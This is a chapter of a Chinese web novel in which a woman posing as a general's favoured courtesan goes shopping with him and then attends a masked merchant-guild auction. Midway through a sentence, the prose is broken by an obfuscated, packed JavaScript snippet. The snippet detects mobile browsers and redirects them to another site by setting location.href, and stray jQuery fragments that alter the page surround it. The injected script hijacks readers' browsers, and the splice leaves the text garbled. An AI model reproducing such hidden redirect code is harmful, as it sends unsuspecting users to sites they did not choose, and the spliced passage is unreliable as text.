“哎呦喂,这新来的小贱婢,手脚没个轻重,可是冲撞了贵人?”牙行掌柜不明所以,快步上前,赔着笑、摁着小丫头就往地上跪。 “住手,”苏远澄出声阻拦:“是我看中她了。” “哎,夫人真是法眼如炬!”掌柜面上恭维地笑,心里却暗骂:尖货没出手,倒卖了个不值钱的小贱人! 知道现在并不是询问的好时机,苏远澄强行按下探究的心,转身坐下。 屈邵的眼神一直没有离开她,见她坐下,微微侧头,等她一个解释。 “她很像我家乡的一个小妹妹。”苏远澄斟酌地回道。 “如此。”屈邵点点头,不知信了没信。 “你既选好了,那便走吧。” 屈邵起身,苏远澄识趣地上前环住他的臂,微微倚靠在他身上。 “咳咳咳,”感到一团柔软若即若离地贴着上臂,屈邵又是一阵咳嗽,随即掩饰般说道:“对了,你刚点的那几个也一并买下吧,送到和园去。” 牙行掌柜闻言喜笑颜开,将二人一路送出了店门,连连鞠了好几个躬。 马车缓缓驶离,向城里另一头的成衣坊驶去。 路途有些远,苏远澄有一搭没一搭地和屈邵搭话。 “和园是哪儿,怎么要送到那去?” “新买的宅子。” “噢。” “衣柜那次,你是怎么发现我的?” “听呼吸。” “噢。” “我刚刚演得如何?” “可。” “噢。” 屈邵往外吐的字越来越少,苏远澄识趣地闭上嘴。她不过是想讨好下这个临时的领导,说不定事成后还能得一笔钱财呢。 毕竟,她从李妈妈那顺走的银票可不多。 马车外逐渐嘈杂起来,苏远澄掀开车帘往外看去:前些天的市集虽冷清但还是井然有序,此时却有些混乱了,有偷钱袋子偷热馒头的,还有直接抢了肉就跑的,却也不见加派巡防的衙役。 怕是前线战事吃紧,进城的难民愈发多了。 苏远澄放下车帘,略带疑惑地望向闭目养神的屈邵:战况紧急,他却还在这用离间计,只是暂代主将,打赢了也是要还权的,为何不直接领着一可当十的屈家军速战速决呢? 没等她思考出个究竟,马车就缓缓停下。苏远澄可不想再被抱一次,率先挽着屈邵的手下车。 成衣坊就在乐营边上,也难怪当初李婆婆把她一人丢在此处,无疑是个自投罗网的局。 阵仗同样闹得很大,屈邵几乎将整个成衣坊她能穿的都买了下来,还定了十几身冬装,甚至将隔壁的首饰坊都包圆了。 市集人更多,因而很快便传开了,屈家军那个战神屈邵,新得了个仙女般的营妓,宠得天昏地暗,一掷千金。 * 一通买买买完,苏远澄已是饿得前胸贴后背,然而马车似乎没有打道回府的意思,仍往市集深处而去。 似乎是感受到她幽怨的目光,屈邵掀开车帘吩咐了几句,不多时,就有人递进来一盒餐食。 苏远澄眼睛一亮,直勾勾地盯着屈邵手中的三层雕花食盒。 却只见他端出两碗小馄饨。 苏远澄欲哭无泪,如此大的食盒,原以为有五六道佳肴,装两碗馄饨,未免也太过大材小用了。 好在屈将军要的,哪怕是一碗馄饨,也极为美味。咸鲜的鸡汤底,细碎喷香的油花与葱花,薄如蝉翼的馄饨皮,包裹着嫩弹的鲜肉,一口下肚,瞬间驱散了深秋的微寒。 屈邵似乎胃口缺缺,只浅浅嘬了一口汤,便撑着下巴看着苏远澄一小口、一小口进食,最后还将汤都喝了个干净。 看来是真的饿了,他有些失笑,小女贼总能给他一种错乱感,时而有贵女般的娴雅之态,时而却举止不羁、不知避讳。 她究竟是何来历,真是让他好奇啊。 见苏远澄擦了擦嘴角、意犹未尽的模样,屈邵点了点桌面,示意她可以吃自己那碗。 苏远澄哪敢碰他吃过的馄饨,见鬼般连连摆手:“不必不必,吃饱了吃饱了。” 心中奇怪:屈邵这是何意?古代人不是最讲男女大防与地位尊卑吗?想到这人赏她的两次蜜饯,估计他就喜欢赏人东西吃吧。 见她拒绝,屈邵也不勉强,开口道:“带你去个好玩的地方。” 话音未落,马车就在一栋陈旧低矮且不显眼的楼前停下。 二人下车,周遭是一片荒凉的林地,甲兵早已尽数散去,只剩了陈戈一人。 陈戈上前敲了敲侧门,门很快打开一条缝,陈戈从怀中取出一块鎏金的牌子,铜钱样式,上刻“南朱”二字。 门立马打开,一名身穿南朱绣字外杉的伙计将三人迎了进去。 进门是一条幽黑的过道,即刻有侍女低着头上前,分别给他们递上一块鎏金色彩的面具,还有一件黑色连帽斗篷。 见屈邵只取过面具带上,苏远澄便也效仿,不知是什么材质的面具,极轻,带着毫无重量感。 待三人佩戴好后,侍女便打开一扇隐在墙里的门,领着他们上二楼进入包厢。 进包厢后,一切豁然开朗。 越过红木桌椅前的花鸟刺绣屏风,可见整个楼是类似茶馆的半圆形设计,一楼是一张张开放的小桌,二楼则是数十间半开放的包厢,二者都围着中间的戏台紧密排布。 戏台上方挂满灯笼,照得那部分区域如白昼般透亮。 一楼的烛火很暗,周遭皆看不分明,只有一条条蜿蜒的过道有些灯光,但在微弱的灯光下,依稀可见一楼的桌椅已坐满了来客,大都商贾打扮,也有几个带刀的江湖人士,脸上都带着碧色的面具。 二楼的十来个包厢倒只有五间点着烛火,苏远澄一眼就认出斜对面坐着的李妈妈,李妈妈旁边的男子,不出意料的话,就是襄镇监军戴士诚了。 戴士诚也认出了屈邵,毕竟包厢里杵着的陈戈一直抱着他那把标志性的弯刀。戴士诚遥遥朝他们举了举酒杯,屈邵并没有搭理,只把玩着苏远澄的发梢。 饶是相隔一段距离,苏远澄都感觉戴士诚黑了脸。 只见他偏头询问了李妈妈几句,而后意味深长地觑了她一眼。 忽然间,戏台周遭的光齐齐熄灭,只留正中间一块圆形的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299189|182731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 区域,一月白长袍的男子肃立其中。现场瞬间安静下来,苏远澄的目光也被吸引过去。 “诸位贵客,承蒙不弃,躬临南朱商帮梓州竞买会,南朱上下不胜感激!”男子向台下作揖,随后郑重道:“请首件珍宝——镶金暖玉席!” 一件闪着金光的玉席被两名小厮抬了上来,轻轻放在台正中的桌上。 一块暖玉便极为难寻,这南朱商帮一出手便是一片玉席,众人皆惊叹议论起来。 此时,苏远澄心中了然,原来是拍卖会呀,虽然她从前也参加过不少,但古代的还是头一次,因此颇有些兴致勃勃。 “想要?”屈邵不知何时坐到了她身侧,附在她耳边细声道。 苏远澄的呼吸停了一瞬,吓的,随后摇了摇头。 “这席虽稀缺,但华而不实,多为些浪荡子弟买回去,助房帷之兴用。”屈邵边说着,边盯着苏远澄光洁的侧脸,却没有看到羞愤之色。 心下嗤诋:营妓就是营妓。 此时的苏远澄不想但确实秒懂:嗯……冬天用是吧。 在外人看来,二人耳鬓厮磨,神情间极是缱绻,檀郎谢女,好不恩爱。 谈话间,镶金暖玉席已被一包厢以千两银子拍下,随后,又陆陆续续以百两银子拍出几件珍宝。 期间,戴士诚也随手举拍了几次,但只拿下了一个三百两的小玉扳指,苏远澄估摸着他此行另有所图。 那屈邵又是来拍什么的呢?苏远澄侧头,屈邵斜靠在另一侧,百无聊赖地玩着她的头发,似乎那些激起轩然大波的珍宝都没有兴趣。 或者是司空见惯了。 苏远澄暗自猜测,面具颜色应代表等级,而商帮自然以钱财为重,大概率代表资产等级一类。按官服看,应是紫色、绯色、绿色、碧色,而官之上是皇,便是金色。一楼一水的碧色面具,二楼也只见戴士诚和一商贾男子带绿色面具,足以可见,金色面具之稀有,自然也彰显了屈邵庞大的身家。 那对几百两的东西没兴趣,便不足为奇了。 那他来这的目的是什么呢? 似是被苏远澄盯太久了,屈邵抬眼回视:“有想要的?拍下就是。” 一副不在乎钱的模样。 苏远澄闻言些许不忿,她曾经也是不缺钱的,如今虽流落异世、捉襟见肘,但也是有尊严的,为命可以折腰,为钱大可不必。 正要开口义正言辞地拒绝,台上男子又爆出了一件珍品——李思训真迹的《山居四皓图》,八百两起拍,也是此次竞买会唯一一幅山水画作。 闻言,台下众人倒是反应平平,只是斜对面的戴士诚坐不住般兴奋地直起身子。 苏远澄脑子转了转,话音一转:“大人可要与我赌一赌?” “噢?赌什么?”屈邵来了兴致。 “大人给我两千五百两,赌我能用这些从戴士诚手中抢下这幅山水图。” 从戴士诚手里抢东西?他很乐意给看不顺眼的人添堵。 只是……此画约值三千两,两千五百两拍得?不知小女贼有何把戏呢。 屈邵勾唇:“赌注呢?” “若我赢了,许我留下拍剩的钱,若我输了,任凭大人处置。”苏远澄粲然一笑,若灼灼牡丹,夺尽周遭颜色。 屈邵的心狠狠动了一下。